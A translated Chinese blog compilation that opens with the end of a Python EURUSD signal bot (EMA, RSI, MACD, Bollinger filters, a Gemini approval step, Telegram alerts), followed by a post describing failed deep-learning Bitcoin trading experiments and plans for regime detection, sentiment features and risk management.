        body_series = (df["Close"] - df["Open"]).abs()  
        avg_body = float(body_series.tail(20).mean())  
    else:  
        open_now = price_now  
        avg_body = 0.0  

    body_size = abs(price_now - open_now)  

    # 如果 avg_body 是零或 NaN，回退到当前实体大小  
    if not np.isfinite(avg_body) or avg_body == 0:  
        avg_body = body_size  

    # 避免微小的十字蜡烛 (太弱)  
    if avg_body > 0 and body_size < 0.3 * avg_body:  
        print(f"{now_dubai} - 蜡烛太小 (实体 {body_size:.6f} vs 平均 {avg_body:.6f}), 跳过。")  
        return  

    # 避免在非交易时间交易  
    if not is_good_trading_time(now_dubai):  
        print(f"{now_dubai} - 在主要交易时间之外，跳过交易。")  
        return  

    # 6) 五分钟趋势过滤器  
    trend_5m = get_5m_trend(df)  
    if trend_5m is None:  
        print(f"{now_dubai} - 五分钟趋势不明确，跳过。")  
        return  

    # 避免在同一根蜡烛上重复信号  
    if last_candle_time is not None and candle_time <= last_candle_time:  
        print(f"{now_dubai} - 尚未有新蜡烛 (上次蜡烛时间 {last_candle_time})。")  
        return  

    signal_text = None  
    direction = None  
    reason_parts = []  

    # 基础 EMA 交叉条件  
    call_cross = (ema_fast_prev <= ema_slow_prev) and (ema_fast_now > ema_slow_now)  
    put_cross = (ema_fast_prev >= ema_slow_prev) and (ema_fast_now < ema_slow_now)  

    # === CALL 条件 ===  
    if call_cross:  
        # 趋势过滤器: 仅在上涨趋势中买入  
        if trend_5m != "UP":  
            print(f"{now_dubai} - CALL 交叉但五分钟趋势不是 UP，跳过。")  
        # RSI: 避免超买; 想要牛市但不极端  
        elif not (40 <= rsi_now <= 70):  
            print(f"{now_dubai} - CALL 交叉但 RSI={rsi_now:.2f} 在 40-70 之外，跳过。")  
        # MACD: 需要牛市动量  
        elif macd_hist_now <= 0:  
            print(f"{now_dubai} - CALL 交叉但 MACD 直方图 {macd_hist_now:.6f} <= 0，跳过。")  
        # 布林带: 避免在或高于上轨的尖峰  
        elif price_now >= bb_upper_now:  
            print(f"{now_dubai} - CALL 交叉但价格在或高于上布林带，跳过。")  
        else:  
            signal_text = "买入 (CALL)"  
            direction = "CALL"  
            reason_parts.append("EMA9 交叉高于 EMA21")  
            reason_parts.append("五分钟趋势 UP")  
            reason_parts.append(f"RSI={rsi_now:.1f} 在 40-70")  
            reason_parts.append("MACD 动量牛市")  
            reason_parts.append("价格低于上布林带")  

    # === PUT 条件 ===  
    if direction is None and put_cross:  
        # 趋势过滤器: 仅在下跌趋势中卖出  
        if trend_5m != "DOWN":  
            print(f"{now_dubai} - PUT 交叉但五分钟趋势不是 DOWN，跳过。")  
        # RSI: 避免超卖; 想要熊市但不极端  
        elif not (30 <= rsi_now <= 60):  
            print(f"{now_dubai} - PUT 交叉但 RSI={rsi_now:.2f} 在 30-60 之外，跳过。")  
        # MACD: 需要熊市动量  
        elif macd_hist_now >= 0:  
            print(f"{now_dubai} - PUT 交叉但 MACD 直方图 {macd_hist_now:.6f} >= 0，跳过。")  
        # 布林带: 避免在或低于下轨的尖峰  
        elif price_now <= bb_lower_now:  
            print(f"{now_dubai} - PUT 交叉但价格在或低于下布林带，跳过。")  
        else:  
            signal_text = "卖出 (PUT)"  
            direction = "PUT"  
            reason_parts.append("EMA9 交叉低于 EMA21")  
            reason_parts.append("五分钟趋势 DOWN")  
            reason_parts.append(f"RSI={rsi_now:.1f} 在 30-60")  
            reason_parts.append("MACD 动量熊市")  
            reason_parts.append("价格高于下布林带")  

    # ========== AI 过滤器 + 最终信号 ==========  
    if signal_text is not None and direction is not None:  
        # 构建 AI 快照  
        ai_snapshot = build_ai_snapshot(  
            df=df,  
            direction=direction,  
            trend_5m=trend_5m,  
            rsi_now=rsi_now,  
            macd_hist_now=macd_hist_now,  
            price_now=price_now,  
            bb_upper_now=bb_upper_now,  
            bb_lower_now=bb_lower_now,  
            body_size=body_size,  
            avg_body=avg_body,  
            now_dubai=now_dubai  
        )  

        ai_decision, ai_reason = ask_gemini_should_trade(ai_snapshot)  

        if ai_decision != "APPROVE":  
            print(f"{now_dubai} - AI 过滤器跳过 {direction} 信号。原因: {ai_reason}")  
            # 如果你想在 Telegram 中看到 AI 跳过，请取消注释:  
            # send_telegram_message(f"AI 过滤器跳过了一个 {direction} 信号。原因: {ai_reason}")  
            return  

        # AI 批准，继续正常  
        last_candle_time = candle_time  

        dubai_entry_time = now_dubai  
        dubai_expiry_time = dubai_entry_time + timedelta(minutes=EXIT_CANDLES)  

        open_trades.append({  
            "entry_time": candle_time,  
            "entry_price": price_now,  
            "direction": direction,  
            "dubai_time_open": dubai_entry_time  
        })  

        first_line = (  
            f"{signal_text} EURUSD (每小时信号) 在 "  
            f"{format_dubai_time_short(dubai_entry_time)} 迪拜时间进行 {EXIT_CANDLES} 分钟"  
        )  

        reason_text = "; ".join(reason_parts)  

        msg = (  
            f"{first_line}\n\n"  
            f"入场价格: {price_now:.5f}\n"  
            f"入场时间: {dubai_entry_time.strftime('%Y-%m-%d %H:%M:%S')} 迪拜时间\n"  
            f"到期: {dubai_expiry_time.strftime('%Y-%m-%d %H:%M:%S')} 迪拜时间\n"  
            f"原因: {reason_text}\n\n"  
            f"AI 过滤器: {ai_decision} - {ai_reason}"  
        )  

        print(msg)  
        send_telegram_message(msg)  
    else:  
        print(f"{now_dubai} - 本根蜡烛没有信号。")  

# ========== 主循环 ==========  
def main_loop():  
    print("正在启动信号机器人 (带有可选 Gemini 过滤器的高级策略，每小时信号)...")  
    send_telegram_message(  
        "✅ 高级 EURUSD 信号机器人已启动 "  
        "(EMA+RSI+MACD+BB+5m 趋势 + 可选 Gemini 过滤器，每小时信号)。仅用于演示/教育用途。"  
    )  
    while True:  
        try:  
            check_for_signal()  
        except Exception as e:  
            print("主循环出错:", repr(e))  
            traceback.print_exc()  
        time.sleep(CHECK_EVERY_SECONDS)  

if __name__ == "__main__":  
    main_loop()

11、结束语

这个机器人并不是用来预测市场的或保证结果的。它只是一个简单的例子，展示了 Python、简单的指标、更高时间框架的趋势检查和轻量级 AI 过滤器如何协同工作。目标是减少噪音，保持一致性，并研究基于规则的逻辑在实时中的行为。如果你决定自己构建类似的东西，请保持简单，花时间，并把它当作一个学习项目。

原文链接：I Built an Advanced EURUSD Signal Bot With EMA, RSI, MACD, Bollinger Bands and a Gemini AI Filter

DefiPlot翻译整理，转载请标明出处

我将一些深度学习模型投入了比特币市场。可以说，市场有其他计划。这是当学术理论撞上市场现实时的真实故事，以及我下一次构建更智能交易机器人的计划。

实验 —— 与市场力量的谦卑相遇

1、人工智能盈利的诱惑

和你们一样，我一直都在寻找AI和机器学习中的下一个大事件，那个可能变成酷东西的想法。不久之前，我听了journalclub.io的一集节目——真的，如果你没有订阅，你错过了一个很棒的AI/ML研究播客——他们讨论了一篇论文 “Deep Learning for Algorithmic Trading: A Systematic Review of Predictive Models and Optimization Strategies.” 它描绘了一个使用深度学习在金融领域中令人信服的愿景，一个想法击中了我：如果我实际上尝试自己构建和测试这些理论呢？

任何涉足数据科学和金融的人都知道这种诱惑：找到那个完美的模型，那个数据和特征的神奇组合，最终破解市场的密码。因此，受到灵感和，说实话，一大剂雄心的驱使，我决定试试看。我的战场？比特币这个极其狂野的世界。

我的计划当时看起来相当稳固。我将使用一些深度学习中的高手——LSTMs和CNN-LSTMs，它们擅长处理序列——试图预测每小时的比特币价格变动。我用了一系列17个技术指标武装它们，甚至使用Optuna进行了一些严重的超参数调优。我真的以为自己正在搭建学术承诺与现实交易之间的桥梁。这篇博客文章？它是这次冒险的记录——好的、坏的和意想不到的丑陋部分。

但正如任何经验丰富的交易者会告诉你的（而我即将痛苦地发现），市场擅长提供一份额外的谦卑，尤其是当你认为你已经掌握了全部的时候。这就是接下来发生的故事，学到的艰难教训，以及我希望能从这里去往何方。

2、打造一个“完美”的交易机器人

我的想法是，为了给这些模型一个公平的机会，我需要坚持一种相当标准、稳健的方法论——你在扎实的量化研究中看到的那种。

• 模型: 我首先选择了**LSTM（长短期记忆）**网络。对于时间序列数据来说，这很合理，因为它擅长记住较长时间内的模式。

然后，我决定也构建一个 CNN-LSTM 模型。我的想法是，卷积层可以巧妙地从时间段中提取出更高层次的特征，然后再将这些特征输入到 LSTM 中。我希望 CNN 能像一个精密的模式识别器一样，帮助 LSTM 进行识别。

• 数据与特征: 我选择的数据集是两年的每小时BTC/USD数据——一个不错的数据量。从这些数据中，我制作了17个不同的技术指标。我们谈论的是经典：RSI, MACD, Bollinger Bands, 诸如此类。我的目标是为模型提供一个丰富、多维的市场情况视图，关于动量、波动性和趋势。
• 回测引擎: 对于回测，我保持初始策略相当简单。核心思想：如果模型预测的上涨概率超过某个置信水平（比如>0.6），我们就做多。如果它低于较低水平（<0.4），我们就做空。介于两者之间？就保持观望。我还加入了在第25个epoch时提前停止，基于验证损失的情况，以尝试防止明显的过拟合。

现在，对于那些喜欢深入细节的人，信号生成和回测的实际代码有很多内容在后台运行。为了保持这篇文章的可读性和聚焦性，我在这里的代码片段更加概念化。但不用担心，你可以在我GitHub仓库中找到所有完整的、可操作的Python代码、我的Jupyter笔记本和详细的设置。

这里是TradingStrategy类结构的一个鸟瞰图，只是为了给你一个味道：

# TradingStrategy 的概念结构  
# 在GitHub上深入了解完整实现  
import torch  
import numpy as np  

class TradingStrategy:  
    """  
    这是我交易策略大脑的一个简化版。  
    它处理将模型预测转化为交易，然后计算我们是否赚取或损失了虚拟资金。  
    真实版本有更多的检查、平衡和数据处理。  
    """  
    def __init__(self, model, threshold_buy=0.6, threshold_sell=0.4, transaction_cost=0.001):  
        self.model = model  
        self.threshold_buy = threshold_buy # 我最初的“自信时买入”水平  
        self.threshold_sell = threshold_sell # 我最初的“自信时卖出”水平  
        self.transaction_cost = transaction_cost # 必须考虑这些讨厌的费用！  
        self.equity_curve = [1.0] # 从$1的虚拟资本开始  

    def generate_signals(self, X_test_data_loader):  
        # 这里是模型发光（或不发光）的地方。  
        # 它查看测试数据，输出概率，  
        # 然后我们决定：买入、卖出还是坐等？  
        # ... 所有细节都在GitHub上...  
        pass  

    def backtest(self, signals, actual_market_returns):  
        # 这里我们模拟我们的策略与实际发生的情况。  
        # 每个信号转化为一笔交易（或持有模式），  
        # 扣除交易成本，并查看我们的权益如何变化。  
        # ... 查看GitHub上的完整模拟逻辑...  
        pass  

    def calculate_metrics(self):  
        # 真相时刻！  
        # 计算夏普比率、最大回撤、总回报、波动率等。  
        # 这告诉我们是否中了大奖还是挖了坑。  
        # ... 数学和细节都在GitHub上...  
        pass

3、现实检验：两个模型与无情市场的对决

在所有的数据准备、模型训练、细致的调优，最后的回测……结果来了。而且，坦白说，它们是残酷的。

是的，你没看错。这两个本应复杂的模型彻底失败了，无法盈利。LSTM策略不仅糟糕；它是一个壮观的暴跌，烧掉了超过一半的初始资本。CNN-LSTM模型，祝福它的混合心脏，做得好一点——它基本上持平。但“持平”在简单的“买入并持有”策略能带来+23.88%的情况下，是一种冷酷的安慰。这是一颗难以吞咽的药丸，尤其是在投入了这么多时间和精力之后。

看看那张图片中的权益曲线（右上角图表）。虽然“买入并持有”在稳步上升，我的LSTM策略却像一把掉下来的刀，而CNN-LSTM则只是平盘。那么，到底哪里出错了？为什么看似拥有所有正确成分的模型在模拟真实世界测试中表现得如此惨烈？我必须深入挖掘。

4、分析失败：我的美丽理论与丑陋现实的碰撞

老话说得好：魔鬼在于细节。悲惨的绩效指标只是头条新闻；真正的故事是为什么事情变得糟糕隐藏在模型的行为和输出中。这就是我的调查变得非常有趣（当然，也有些痛苦）。

4.1 过拟合与趋势跟随陷阱

我的模型是伟大的历史学家，而不是未来主义者。

很明显，我的模型并没有学会预测未来；它们只是学会了描述最近的过去。下面的特征重要性图表？那是我的罪证。

看特征重要性，Returns和Volume对LSTM来说非常重要。翻译：模型基本上学会了非常简单且最终天真的趋势跟随规则。类似，“嘿，如果价格在高成交量下火箭般上升，它可能会继续这样做！”这很好，直到它不再这样。它没有发现任何隐藏的alpha；它只是根据刚刚发生的事情画了一条直线。典型的模型学习“什么”，但对“为什么”一无所知。

4.2 中立预测问题：我的模型是“也许”的大师

如果你看“信号分布”图表（在DL_Algo_2.png图像中），你会看到两个模型大部分时间都在生成……中性信号。换句话说，它们一直在耸肩说，“我不知道！”这是模型陷入市场噪音中，无法找到自信的可交易信号的明显迹象。预测都集中在0.5概率附近。它很少有勇气实际发出交易信号，所以错过了潜在的好机会。就像有一个财务顾问，只会说，“嗯，它可能会上涨，或者它可能会下跌。”不太有用！

4.3 遭遇制度变化：当市场变卦，我的静态模型跌落悬崖

金融市场是活生生的生物；它们不会只停留在一种情绪中。它们在不同的“制度”之间切换——咆哮的牛市、缓慢的熊市、混乱的横向行动、剧烈波动的时期，以及平静的时期。我发现自己，非常沮丧地，发现我的模型就像天气晴朗的水手。它们在市场条件大致类似于训练数据时表现良好（或至少不太差）。但一旦海面变得困难或风向改变？它们完全迷失了。

“滚动夏普比率”图表（也在DL_Algo_2.png中）生动地描绘了这一点。LSTM策略有一个小小的略好表现的短暂波动，然后，砰——市场可能改变了方向，模型的表现突然崩溃，再也没有回头。这是静态模型的致命弱点：它们脆弱。当市场的基本动态发生变化时，它们无法适应。

5、教训：算法交易中残酷（但宝贵）的真实情况

整个实验，尽管肯定没有让我变得富有，但是一次我无法支付的教育。它强调了一些关于将深度学习应用于加密货币交易的严格现实——这些教训现在深深烙在我的脑海中：

• 纸面上的模型“优秀”≠现实中的可交易阿尔法： 这是我最大的、最痛苦的收获。一个模型在训练中看起来非常好——低验证损失、高准确率、所有的好东西——但如果它不能在真实的（或现实的模拟）市场中赚钱，那就毫无意义。学术指标和实际收益之间的差距可能是一个深渊。
• 特征重要性揭示了模型的（有时天真）偏见： 看到我的模型严重依赖近期收益？这是一个明确的迹象，表明了一个简单的趋势跟随偏见。现在，趋势跟随本身并不是坏的，但如果那是你的模型所学到的全部，那么你将会面临巨大的麻烦。我的模型并不如我所希望的那样复杂；它们只是找到了训练数据中最简单的模式，而这并不一定是“聪明”的模式。
• 制度变化一定会摧毁静态模型： 市场是一个变色龙。昨天有效的东西可能是明天的灾难。在特定市场条件下（如稳定的牛市）训练的模型可能会在这些条件改变（你好，突如其来的崩盘或漫长的无聊震荡）时，轰然倒塌。静态模型就像一个单一技巧的马匹试图赢得十项全能比赛——它们根本没有适应性。

这些教训清楚地突显了从一个酷的学术概念到一个在混乱、不可预测的现实世界中真正有效的交易策略之间的广阔而常常危险的差距。这是一次谦卑的经历，但对任何认真在这个领域玩的人来说，也是一个极具启发性的经历。

哦，这真痛。现在，我如何构建一个更聪明的比特币机器人？——下一次迭代

所以，最初的结果是一个打击，毫无疑问。但这里有个问题：它不是死胡同。如果有什么的话，它在我身上点燃了一把火，意外地给了我一个更清晰的路线图，下一步要尝试什么。这就是我从“哦，这失败了”转向“好吧，让我们开始工作”的地方。这就是真正的工程，真正的解决问题的开始！

6、控制野兽：真正理解市场制度

问题： 我的第一代模型完全无视了更广泛的市场天气。牛市、熊市、震荡、平静——对他们来说都是一样的，这是一个巨大的错误。解决方案： 我的第一个想法是，“好吧，我需要一种检测当前市场制度的方法。”其目的是有一个模块可以告诉我我们现在处于牛市、熊市、只是横盘，还是极度波动。

• 我打算如何解决这个问题：
• 旧式统计： 可以从滚动波动率（最近价格跳动多少）、平均真实范围（ATR）或甚至只是查看长期移动平均线交叉开始。
• 稍微更高级的ML： 或者，我可以训练一个单独的、更简单的模型（可能是隐马尔可夫模型，或者甚至随机森林）在历史数据上，我已经手动标记了不同的制度。这个模型的任务只是预测当前状态。
• 为什么这可能是一个游戏改变者：
• 更聪明的策略： 然后我可以有不同的交易模型或参数，根据制度启动。牛市市场趋势跟随，如果是震荡，可能某种均值回归。
• 自适应风险： 我还可以调整我的风险，增加或减少。如果制度检测器尖叫“高波动性！”，则较小的赌注和更宽的止损。
• 新特征的力量： 检测到的制度本身？这可以成为我主要预测模型的一个超级强大的新特征。

(我会在GitHub上分享我的制度检测实验代码！)

7、超越价格与成交量：用高级特征工程挖掘黄金

问题： 那些初始的17个技术指标？它们之所以是标准的，是有原因的，但我怀疑它们并没有捕捉到足够的微妙市场低语。

解决方案： 这让我想到：我需要更深入地挖掘我的特征。我正在研究更复杂的信号，特别是与市场微观结构（交易是如何实际发生的）和长期趋势动态相关的。

# 一些我正在探索的新特征的概念性想法。  

# 市场微观结构（如果无法获得完整的订单簿数据）：  
# df['bid_ask_spread_proxy'] = (df['High'] - df['Low']) / df['Close']   
# df['volume_imbalance'] = (df['Volume'] - df['Volume'].rolling(window=20).mean()) / df['Volume'].rolling(window=20).std()  

# 感受更大的画面 - 更长期的趋势强度：  
# df['trend_strength_200'] = (df['Close'] - df['Close'].rolling(window=200).mean()) / df['Close'].rolling(window=200).std()

• 市场微观结构线索： 像bid_ask_spread_proxy（流动性的一个粗略衡量）或volume_imbalance（现在是否有更多的买方或卖方压力？）这样的特征可以让我更好地了解非常短期的行动。真正的订单簿数据是梦想，但那是另一个层次的复杂性（和成本）。
• 放大以获取上下文： 像trend_strength_200（当前价格距离其200小时平均价有多远，调整了波动性？）这样的东西可以帮助模型看到森林而不被树木迷惑，并可能阻止它试图逆流而上。

8、从固定规则到流动逻辑：让我的阈值动态化

问题： 我使用的固定信号阈值（比如，如果概率>0.6就买入，如果<0.4就卖出）？回头看，它们感觉非常随意和僵硬。市场不是固定的，为什么我的决策规则应该是固定的？这感觉像是用一个非常粗糙的工具来完成一件精细的工作。

解决方案： 所以，下一步是让这些阈值更智能，更适应。我希望它们根据模型当前的自信程度，或者根据市场波动性来变化。

# 再次，只是对自适应阈值的想法的草率想法。  

# 示例：让阈值依赖于最近的模型信心  
# recent_predictions = get_the_model_outputs_from_the_last_few_hours()  
# long_threshold = np.percentile(recent_predictions, 75) # 只有在最近的25%的信心范围内才行动  
# short_threshold = np.percentile(recent_predictions, 25) # 或者在底部25%进行做空

• 信心是关键： 这样，模型只有在它的信念比它最近的表现更高时才会行动。如果它通常不确定，它需要更强的信号。
• 波动性作为指南： 另一个角度是让中性区域在市场动荡时更宽。基本上，在混乱的环境中要求模型给出更清晰的信号。

9、资本保护是王道：认真对待稳健的风险管理

问题： 我的第一个回测者对风险非常天真。LSTM的灾难性暴跌直接源于此。这是一个痛苦但绝对重要的教训：没有保护的预测只是快速失去资金的方式。

解决方案： 这其实是一个不言而喻的解决方案。我绝对必须建立明确的、稳健的风险管理规则。我指的是止损和更聪明的仓位大小。

# 一些关于风险管理的初步想法。  

# 自适应仓位大小 - 不把全部押在每一次交易上：  
# current_market_volatility = figure_out_how_crazy_the_market_is_right_now()  
# # 根据波动性反向调整下注大小，有一些合理的上限  
# position_size_percentage = max(0.01, min(0.1, 0.05 / (current_market_volatility + 1e-6)))   

# 止损 - 知道何时放弃：  
# stop_loss_trigger_percentage = 0.02 # 例如，入场价的2%止损。不可协商。

• 止损：我的安全网。 这是版本2.0中不可协商的。硬性止损限制了我在任何单笔交易中的损失。再也不会看着我的虚拟权益蒸发！
• 更聪明的下注（仓位大小）： 不是在每次交易中都冒同样的风险，我需要调整我的仓位大小。也许在波动性高的时候冒更少的风险，或者在模型不是很自信的时候，而在条件有利的时候冒一点风险。我最初的固定仓位大小方法只是在找麻烦。

10、倾听人群（和新闻）：融入情感分析

问题： 价格图表和技术指标？它们只告诉你部分发生了什么。特别是在加密货币世界中，市场情绪——集体情绪、炒作、恐惧、不确定性、怀疑（FUD）——可以是一个非常强大且经常是领先的价格驱动因素。我的模型对此是聋的。解决方案： 我将尝试整合来自各种来源的情感数据。这是很重要的一点，说实话，我对进入这个领域感到非常兴奋。

10.1 我打算从哪里获取这些情感数据

我一直在研究几个不同的途径：

• Google Trends API (pytrends)
• StockTwits API / 其他社交媒体（如Twitter、Reddit）

10.2 令人头疼的部分：新闻冲击，但市场什么时候感受到它？

我已预料到的一件事是市场并不总是即时或可预测地对新闻做出反应：

• 重大新闻（主要交易所上市、大黑客、监管炸弹）： 高频交易算法和超级关注者可能在1–5分钟内做出反应。其余人？它可能需要更长时间才能传播。
• 预定数据（经济报告等——对加密货币来说不太直接但仍有影响）： 通常在15–30分钟内市场开始消化，影响可能持续数小时。
• 分析师报告/意见领袖喊话（如果足够大）： 可能在2–24小时内随着消息传播。
• 社交媒体谣言/FUD/FOMO： 这是不可预测的。可能在大意见领袖发推文时立即发生，或者谣言病毒式传播。或者，它可能只是消失，毫无意义。

10.3 我预期的情感处理头痛

处理原始文本很麻烦。我知道我将遇到挑战，试图准确判断情感：

• 讽刺和反讽： “哦，好的工作，SEC…”可能是否定的，即使用了正面词。
• 上下文是关键： “比特币暴跌至6万美元。”不好，对吧？但如果它上个月是3万美元，而这是未来牛市高峰的头条呢？或者有人随意地说，“比特币暴跌向上至6万美元！”（意思是它飙升）。
• 谁说的？（来源可信度和意图）： 一条来自知名加密货币分析师的推文？可能比一个匿名账户更有意义。来源是想告知、操纵情绪，还是只是发泄？
• 术语（金融术语和缩写）： 我的模型需要理解“HODL”、“FUD”、“钻石手”、“ATH”、“DeFi”、“NFTs”和所有其他加密货币俚语。
• 表情符号和模糊性： “BTC到月亮 🚀🌕”——显然积极。 “BTC会到月亮吗？ 🤔”——更加不确定。

10.4 我处理情感的计划

根据我读到的内容和一些初步的头脑风暴，这是我思考的方法：

• 不要把所有鸡蛋放在一个篮子里（多源方法）： 我不会只依赖一个情感来源。我会尝试结合2-3种不同类型的信息源——可能是一般新闻、一些专注于加密货币的社交媒体，如果我能得到的话，还有链上情感。
• 情感随时间变化（滞后特征）： 不仅仅是现在的感情。它是如何变化的？所以我将尝试创建以下特征：
• Sentiment_Score_Now
• Sentiment_Score_1hr_Ago
• Sentiment_Score_6hr_Ago
• Sentiment_Change_Rate_Last_Hour（它是在变得更积极还是更消极？）
• Sentiment_Volatility（情感稳定还是到处都是？）
• 并非所有来源都同等重要（来源加权和过滤）：
• 我会尝试给可信新闻来源（如路透社或彭博社，如果我能访问的话）更多权重，而不是一些随机博客。
• 在社交媒体上，我会尝试过滤掉一些来自粉丝较少或参与度低的账户的噪音。
• 最近的新闻通常比旧新闻更重要，但我要考虑不同类型信息变得过时的速度。
• 合适的工具：（NLP技术）：
• 基于词典的方法（如VADER或SentiWordNet）：这些对于一般情感很有用，通常更容易实现。但它们可能在处理所有特定金融术语时遇到困难。
• 基于机器学习的分类器： 为了更好的准确性，特别是对于特定领域的语言，我可能需要训练自定义的情感模型（使用诸如朴素贝叶斯、SVM或甚至更先进的BERT模型）。这肯定是更繁琐的工作，因为它需要良好的标注数据，但可能是真正深入理解所必需的。

10.5 从便宜处开始：我为这个研究阶段的成本效益工具包：

对于像我这样作为研究项目进行的个人（读作：预算有限），以下是一些我计划开始使用的免费或免费试用工具：

1. NewsAPI.org（免费版）： 这将使我能够访问一般新闻文章。我需要自己对标题或内容进行情感分析。
2. Reddit PRAW（Python Reddit API包装器 - 免费）： 我可以使用它来抓取相关子版块（如r/CryptoCurrency、r/Bitcoin）。这是零售情绪的海量来源，但需要过滤掉很多噪音。
3. yfinance（免费）： 这个库可以提取与股票代码相关的新闻头条（加密货币的覆盖可能仅限于大名，但仍有用）。
4. Alpha Vantage（免费版用于新闻和情感）： 他们提供了一些预处理的情感分数，这可能是开始的绝佳方式，而无需从头开始构建自己的NLP管道。
5. Google Trends（通过pytrends - 免费）： 如我所说，它非常适合跟踪搜索兴趣。

我希望通过系统地处理这些改进，我可以将那些初始表现不佳的模型塑造成更复杂、适应性强且（希望）真正盈利的东西。当然，我会在我的GitHub上记录所有这些新功能的代码和实验：[链接到你的GitHub仓库]。

11、从黑箱挫败到玻璃箱探索 —— 旅程仍在继续

那个诱人的“魔法黑箱”梦想——一个复杂的算法，安静地从市场上打印钱——正如我的小实验所残酷地证明的那样，主要是幻想，当它撞上现实世界的复杂性时。我第一次尝试使用深度学习进行比特币交易是一个非常鲜明、非常真实的提醒，即仅仅因为一个模型在学术论文中看起来很好或具有低验证损失，并不意味着它会在真实（或现实的模拟）市场中赚钱。尤其是在加密货币领域，这完全是另一个级别的疯狂。在受控、无菌实验室环境中运行得很好的东西，往往在面对市场的混乱、不可预测的美时崩溃。

那些痛苦的回撤和所有错过的机会？它们并不是失败，至少不是真正的失败。它们是非常有价值的数据点。它们将严厉的聚光灯投向了过度拟合的陷阱、在非静态市场中使用静态模型的纯粹天真，以及绝对、不可协商的需要多层次方法，远远超出仅仅预测下一个价格点。构建一个模型是一回事；构建一个持续工作并保持工作的模型是另一回事，随着世界的变化而变化。

前进的道路，我在第二部分中概述的，是试图构建一个更智能的系统。我想有一个能够真正感受不同市场制度的系统，能够引入更丰富的数据如情感，能够在飞行中适应其决策，并且至关重要的是，知道如何保护其资本。这是从一个简单的预测黑箱演变为一个更全面、适应性强和可理解的交易策略的过程。这段旅程，从一个酷的学术理论到（希望）一个持续盈利的市场现实，是关于迭代：学习、适应和不断优化。而这段旅程，对我来说，肯定还远未结束。我实际上很期待分享我的进展，当我着手这些下一步时，所以希望你能继续关注！

原文链接：Deep Learning for Crypto Trading: When Academic Theory Meets Market Reality

DefiPlot翻译整理，转载请标明出处